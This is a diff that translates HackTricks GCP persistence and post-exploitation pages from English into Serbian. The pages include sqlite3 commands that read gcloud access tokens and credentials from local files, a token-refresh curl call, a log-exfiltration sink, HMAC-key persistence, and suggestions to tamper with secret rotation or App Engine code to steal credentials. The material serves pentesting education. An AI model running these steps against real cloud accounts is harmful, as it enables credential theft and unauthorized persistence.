## Filestore
|
||||
|
||||
For more information about Filestore check:
|
||||
Za više informacija o Filestore-u pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-filestore-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Give broader access and privileges over a mount
|
||||
### Dati širi pristup i privilegije nad montiranjem
|
||||
|
||||
An attacker could **give himself more privileges and ease the access** to the share in order to maintain persistence over the share, find how to perform this actions in this page:
|
||||
Napadač bi mogao **da sebi dodeli više privilegija i olakša pristup** deljenju kako bi održao postojanost nad deljenjem, saznajte kako da izvršite ove radnje na ovoj stranici:
|
||||
|
||||
{{#ref}}
|
||||
gcp-filestore-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Logging
|
||||
|
||||
Find more information about Logging in:
|
||||
Pronađite više informacija o Logging-u u:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-logging-enum.md
|
||||
@@ -12,14 +12,8 @@ Find more information about Logging in:
|
||||
|
||||
### `logging.sinks.create`
|
||||
|
||||
Create a sink to exfiltrate the logs to an attackers accessible destination:
|
||||
|
||||
Kreirajte sink za eksfiltraciju logova na odredište dostupno napadaču:
|
||||
```bash
|
||||
gcloud logging sinks create <sink-name> <destination> --log-filter="FILTER_CONDITION"
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,73 +2,60 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### Authenticated User Tokens
|
||||
|
||||
To get the **current token** of a user you can run:
|
||||
### Tokeni autentifikovanih korisnika
|
||||
|
||||
Da biste dobili **trenutni token** korisnika, možete pokrenuti:
|
||||
```bash
|
||||
sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='<email>';"
|
||||
```
|
||||
|
||||
Check in this page how to **directly use this token using gcloud**:
|
||||
Proverite na ovoj stranici kako da **direktno koristite ovaj token koristeći gcloud**:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#id-6440-1
|
||||
{{#endref}}
|
||||
|
||||
To get the details to **generate a new access token** run:
|
||||
|
||||
Da biste dobili detalje za **generisanje novog pristupnog tokena**, pokrenite:
|
||||
```bash
|
||||
sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='<email>';"
|
||||
```
|
||||
Takođe je moguće pronaći refresh tokene u **`$HOME/.config/gcloud/application_default_credentials.json`** i u **`$HOME/.config/gcloud/legacy_credentials/*/adc.json`**.
|
||||
|
||||
It's also possible to find refresh tokens in **`$HOME/.config/gcloud/application_default_credentials.json`** and in **`$HOME/.config/gcloud/legacy_credentials/*/adc.json`**.
|
||||
|
||||
To get a new refreshed access token with the **refresh token**, client ID, and client secret run:
|
||||
|
||||
Da biste dobili novi osveženi pristupni token sa **refresh tokenom**, ID-jem klijenta i tajnom klijenta, pokrenite:
|
||||
```bash
|
||||
curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token
|
||||
```
|
||||
|
||||
The refresh tokens validity can be managed in **Admin** > **Security** > **Google Cloud session control**, and by default it's set to 16h although it can be set to never expire:
|
||||
Važenje refresh tokena može se upravljati u **Admin** > **Security** > **Google Cloud session control**, a prema zadanim postavkama postavljeno je na 16h, iako se može postaviti da nikada ne istekne:
|
||||
|
||||
<figure><img src="../../../images/image (11).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Auth flow
|
||||
|
||||
The authentication flow when using something like `gcloud auth login` will open a prompt in the browser and after accepting all the scopes the browser will send a request such as this one to the http port open by the tool:
|
||||
|
||||
Tok autentifikacije kada se koristi nešto poput `gcloud auth login` otvorit će prozor u pretraživaču, a nakon prihvatanja svih opsega, pretraživač će poslati zahtev poput ovog na http port otvoren od strane alata:
|
||||
```
|
||||
/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1
|
||||
```
|
||||
|
||||
Then, gcloud will use the state and code with a some hardcoded `client_id` (`32555940559.apps.googleusercontent.com`) and **`client_secret`** (`ZmssLNjJy2998hD4CTg2ejr2`) to get the **final refresh token data**.
|
||||
Zatim, gcloud će koristiti stanje i kod sa nekim hardkodiranim `client_id` (`32555940559.apps.googleusercontent.com`) i **`client_secret`** (`ZmssLNjJy2998hD4CTg2ejr2`) da dobije **konačne podatke o refresh tokenu**.
|
||||
|
||||
> [!CAUTION]
|
||||
> Note that the communication with localhost is in HTTP, so it it's possible to intercept the data to get a refresh token, however this data is valid just 1 time, so this would be useless, it's easier to just read the refresh token from the file.
|
||||
> Imajte na umu da je komunikacija sa localhost-om u HTTP-u, tako da je moguće presresti podatke da biste dobili refresh token, međutim, ovi podaci su validni samo 1 put, tako da bi to bilo beskorisno, lakše je jednostavno pročitati refresh token iz datoteke.
|
||||
|
||||
### OAuth Scopes
|
||||
|
||||
You can find all Google scopes in [https://developers.google.com/identity/protocols/oauth2/scopes](https://developers.google.com/identity/protocols/oauth2/scopes) or get them executing:
|
||||
|
||||
Možete pronaći sve Google scope-ove na [https://developers.google.com/identity/protocols/oauth2/scopes](https://developers.google.com/identity/protocols/oauth2/scopes) ili ih dobiti izvršavanjem:
|
||||
```bash
|
||||
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u
|
||||
```
|
||||
|
||||
It's possible to see which scopes the application that **`gcloud`** uses to authenticate can support with this script:
|
||||
|
||||
Moguće je videti koje opsege aplikacija koju **`gcloud`** koristi za autentifikaciju može podržati pomoću ovog skripta:
|
||||
```bash
|
||||
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
|
||||
echo -ne "Testing $scope \r"
|
||||
if ! curl -v "https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+$scope+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=AjvFqBW5XNIw3VADagy5pvUSPraLQu&access_type=offline&code_challenge=IOk5F08WLn5xYPGRAHP9CTGHbLFDUElsP551ni2leN4&code_challenge_method=S256" 2>&1 | grep -q "error"; then
|
||||
echo ""
|
||||
echo $scope
|
||||
fi
|
||||
echo -ne "Testing $scope \r"
|
||||
if ! curl -v "https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+$scope+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=AjvFqBW5XNIw3VADagy5pvUSPraLQu&access_type=offline&code_challenge=IOk5F08WLn5xYPGRAHP9CTGHbLFDUElsP551ni2leN4&code_challenge_method=S256" 2>&1 | grep -q "error"; then
|
||||
echo ""
|
||||
echo $scope
|
||||
fi
|
||||
done
|
||||
```
|
||||
|
||||
After executing it it was checked that this app supports these scopes:
|
||||
|
||||
После извршавања, проверено је да ова апликација подржава ове опсеге:
|
||||
```
|
||||
https://www.googleapis.com/auth/appengine.admin
|
||||
https://www.googleapis.com/auth/bigquery
|
||||
@@ -78,31 +65,26 @@ https://www.googleapis.com/auth/devstorage.full_control
|
||||
https://www.googleapis.com/auth/drive
|
||||
https://www.googleapis.com/auth/userinfo.email
|
||||
```
|
||||
interesantno je videti kako ova aplikacija podržava **`drive`** opseg, što bi moglo omogućiti korisniku da eskalira sa GCP na Workspace ako napadač uspe da primora korisnika da generiše token sa ovim opsegom.
|
||||
|
||||
it's interesting to see how this app supports the **`drive`** scope, which could allow a user to escalate from GCP to Workspace if an attacker manages to force the user to generate a token with this scope.
|
||||
**Proverite kako da** [**zloupotrebite ovo ovde**](../gcp-to-workspace-pivoting/#abusing-gcloud)**.**
|
||||
|
||||
**Check how to** [**abuse this here**](../gcp-to-workspace-pivoting/#abusing-gcloud)**.**
|
||||
### Servisni nalozi
|
||||
|
||||
### Service Accounts
|
||||
Baš kao i kod autentifikovanih korisnika, ako uspete da **kompromitujete privatni ključ** servisnog naloga, moći ćete da **pristupite njemu obično koliko god želite**.\
|
||||
Međutim, ako ukradete **OAuth token** servisnog naloga, to može biti još zanimljivije, jer, čak i ako su ovi tokeni po defaultu korisni samo sat vremena, ako **žrtva obriše privatni API ključ, OAuth token će i dalje biti važeći dok ne istekne**.
|
||||
|
||||
Just like with authenticated users, if you manage to **compromise the private key file** of a service account you will be able to **access it usually as long as you want**.\
|
||||
However, if you steal the **OAuth token** of a service account this can be even more interesting, because, even if by default these tokens are useful just for an hour, if the **victim deletes the private api key, the OAuh token will still be valid until it expires**.
|
||||
### Metapodaci
|
||||
|
||||
### Metadata
|
||||
Očigledno, sve dok ste unutar mašine koja radi u GCP okruženju, moći ćete da **pristupite servisnom nalogu povezanom sa tom mašinom kontaktirajući krajnju tačku metapodataka** (napomena da su Oauth tokeni kojima možete pristupiti na ovoj krajnjoj tački obično ograničeni opsegom).
|
||||
|
||||
Obviously, as long as you are inside a machine running in the GCP environment you will be able to **access the service account attached to that machine contacting the metadata endpoint** (note that the Oauth tokens you can access in this endpoint are usually restricted by scopes).
|
||||
### Remedijacije
|
||||
|
||||
### Remediations
|
||||
Neke remedijacije za ove tehnike su objašnjene u [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2)
|
||||
|
||||
Some remediations for these techniques are explained in [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2)
|
||||
|
||||
### References
|
||||
### Reference
|
||||
|
||||
- [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1)
|
||||
- [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,26 +1,22 @@
|
||||
# GCP - Secret Manager Persistence
|
||||
# GCP - Održavanje tajni
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Secret Manager
|
||||
## Tajni menadžer
|
||||
|
||||
Find more information about Secret Manager in:
|
||||
Pronađite više informacija o Tajnom menadžeru u:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-secrets-manager-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Rotation misuse
|
||||
### Zloupotreba rotacije
|
||||
|
||||
An attacker could update the secret to:
|
||||
Napadač bi mogao da ažurira tajnu da:
|
||||
|
||||
- **Stop rotations** so the secret won't be modified
|
||||
- **Make rotations much less often** so the secret won't be modified
|
||||
- **Publish the rotation message to a different pub/sub**
|
||||
- **Modify the rotation code being executed.** This happens in a different service, probably in a Cloud Function, so the attacker will need privileged access over the Cloud Function or any other service.
|
||||
- **Zaustavi rotacije** tako da tajna ne bude izmenjena
|
||||
- **Učini rotacije mnogo ređim** tako da tajna ne bude izmenjena
|
||||
- **Objavi poruku o rotaciji na drugom pub/sub**
|
||||
- **Izmeni kod rotacije koji se izvršava.** Ovo se dešava u drugoj usluzi, verovatno u Cloud Function, tako da će napadač morati da ima privilegovani pristup Cloud Function ili bilo kojoj drugoj usluzi.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Storage
|
||||
|
||||
For more information about Cloud Storage check:
|
||||
Za više informacija o Cloud Storage pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-storage-enum.md
|
||||
@@ -12,8 +12,7 @@ For more information about Cloud Storage check:
|
||||
|
||||
### `storage.hmacKeys.create`
|
||||
|
||||
You can create an HMAC to maintain persistence over a bucket. For more information about this technique [**check it here**](../gcp-privilege-escalation/gcp-storage-privesc.md#storage.hmackeys.create).
|
||||
|
||||
Možete kreirati HMAC kako biste održali persistenciju nad bucket-om. Za više informacija o ovoj tehnici [**proverite ovde**](../gcp-privilege-escalation/gcp-storage-privesc.md#storage.hmackeys.create).
|
||||
```bash
|
||||
# Create key
|
||||
gsutil hmac create <sa-email>
|
||||
@@ -24,19 +23,14 @@ gsutil config -a
|
||||
# Use it
|
||||
gsutil ls gs://[BUCKET_NAME]
|
||||
```
|
||||
Još jedan skript za eksploataciju ove metode može se naći [ovde](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py).
|
||||
|
||||
Another exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py).
|
||||
### Dati javni pristup
|
||||
|
||||
### Give Public Access
|
||||
|
||||
**Making a bucket publicly accessible** is another way to maintain access over the bucket. Check how to do it in:
|
||||
**Učiniti kantu javno dostupnom** je još jedan način da se održi pristup kanti. Proverite kako to uraditi u:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-storage-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,6 +1 @@
|
||||
# GCP - Post Exploitation
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## `App Engine`
|
||||
|
||||
For information about App Engine check:
|
||||
Za informacije o App Engine proverite:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-app-engine-enum.md
|
||||
@@ -12,36 +12,30 @@ For information about App Engine check:
|
||||
|
||||
### `appengine.memcache.addKey` | `appengine.memcache.list` | `appengine.memcache.getKey` | `appengine.memcache.flush`
|
||||
|
||||
With these permissions it's possible to:
|
||||
Sa ovim dozvolama moguće je:
|
||||
|
||||
- Add a key
|
||||
- List keys
|
||||
- Get a key
|
||||
- Delete
|
||||
- Dodati ključ
|
||||
- Ispisati ključeve
|
||||
- Dobiti ključ
|
||||
- Obriši
|
||||
|
||||
> [!CAUTION]
|
||||
> However, I **couldn't find any way to access this information from the cli**, only from the **web console** where you need to know the **Key type** and the **Key name**, of from the a**pp engine running app**.
|
||||
> Međutim, **nisam mogao da pronađem nijedan način da pristupim ovim informacijama iz cli**, samo iz **web konzole** gde treba da znate **Tip ključa** i **Ime ključa**, ili iz **aplikacije koja se pokreće na app engine**.
|
||||
>
|
||||
> If you know easier ways to use these permissions send a Pull Request!
|
||||
> Ako znate lakše načine za korišćenje ovih dozvola, pošaljite Pull Request!
|
||||
|
||||
### `logging.views.access`
|
||||
|
||||
With this permission it's possible to **see the logs of the App**:
|
||||
|
||||
Sa ovom dozvolom moguće je **videti logove aplikacije**:
|
||||
```bash
|
||||
gcloud app logs tail -s <name>
|
||||
```
|
||||
### Čitaj Izvorni Kod
|
||||
|
||||
### Read Source Code
|
||||
Izvorni kod svih verzija i usluga je **smešten u bucket** sa imenom **`staging.<proj-id>.appspot.com`**. Ako imate pristup za pisanje, možete čitati izvorni kod i tražiti **ranjivosti** i **osetljive informacije**.
|
||||
|
||||
The source code of all the versions and services are **stored in the bucket** with the name **`staging.<proj-id>.appspot.com`**. If you have write access over it you can read the source code and search for **vulnerabilities** and **sensitive information**.
|
||||
### Izmeni Izvorni Kod
|
||||
|
||||
### Modify Source Code
|
||||
|
||||
Modify source code to steal credentials if they are being sent or perform a defacement web attack.
|
||||
Izmenite izvorni kod da biste ukrali akreditive ako se šalju ili izvršite napad na web stranicu.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user